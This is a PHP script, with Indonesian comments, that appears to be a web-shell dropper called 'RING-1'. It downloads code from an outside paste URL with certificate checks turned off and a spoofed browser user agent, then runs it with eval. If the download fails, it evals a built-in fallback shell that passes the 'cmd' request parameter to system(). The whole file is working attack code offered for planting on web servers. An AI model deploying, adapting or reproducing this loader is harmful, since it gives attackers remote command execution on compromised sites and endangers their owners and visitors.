<?php
/**
 * RING-1 - Payload Fetcher with Anti-Blank & 0KB Bypass
 * Jika payload kosong atau error, gunakan konten alternatif
 */

// ============= FUNGSI GET PAYLOAD DENGAN CURL =============
function get_payload($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
    
    // Tambahkan header untuk mimic browser
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language: en-US,en;q=0.5',
        'Connection: keep-alive',
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    // Jika error atau HTTP code bukan 200
    if ($error || $http_code !== 200) {
        return false;
    }
    
    // Jika response kosong atau hanya spasi
    if (trim($response) === '') {
        return false;
    }
    
    return $response;
}

// ============= FUNGSI ALTERNATIF (file_get_contents) =============
function get_payload_alt($url) {
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n",
            'timeout' => 15,
            'ignore_errors' => true,
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ]
    ]);
    $response = @file_get_contents($url, false, $context);
    if ($response === false || trim($response) === '') {
        return false;
    }
    return $response;
}

// ============= PAYLOAD DUMMY (ANTI BLANK) =============
function get_dummy_payload() {
    return '<?php
        // RING-1 DUMMY SHELL - ANTI BLANK
        $cmd = isset($_GET["cmd"]) ? $_GET["cmd"] : "id";
        echo "<pre style=\'background:#111;color:#0f0;padding:20px;font-family:monospace;\'>";
        system($cmd);
        echo "</pre>";
    ?>';
}

// ============= EKSEKUSI UTAMA =============

$url = 'https://dewaseo.xyz/paste/raw/e6e86867';

// Coba ambil payload
$src = get_payload($url);

// Jika gagal, coba alternatif
if ($src === false) {
    $src = get_payload_alt($url);
}

// Jika masih gagal atau kosong, gunakan dummy
if ($src === false || trim($src) === '') {
    $src = get_dummy_payload();
    // Log untuk debugging
    error_log("RING-1: Using dummy payload (original URL: $url)");
}

// Eksekusi payload
if ($src) {
    // Pastikan ada tag PHP pembuka
    if (strpos($src, '<?php') === false) {
        $src = "<?php\n" . $src . "\n?>";
    }
    eval("?>" . $src);
} else {
    // Fallback terakhir jika semua gagal
    echo "<!-- RING-1: Failed to load payload -->";
    echo '<h1>RING-1 Active</h1>';
    echo '<p>System is ready.</p>';
}
?>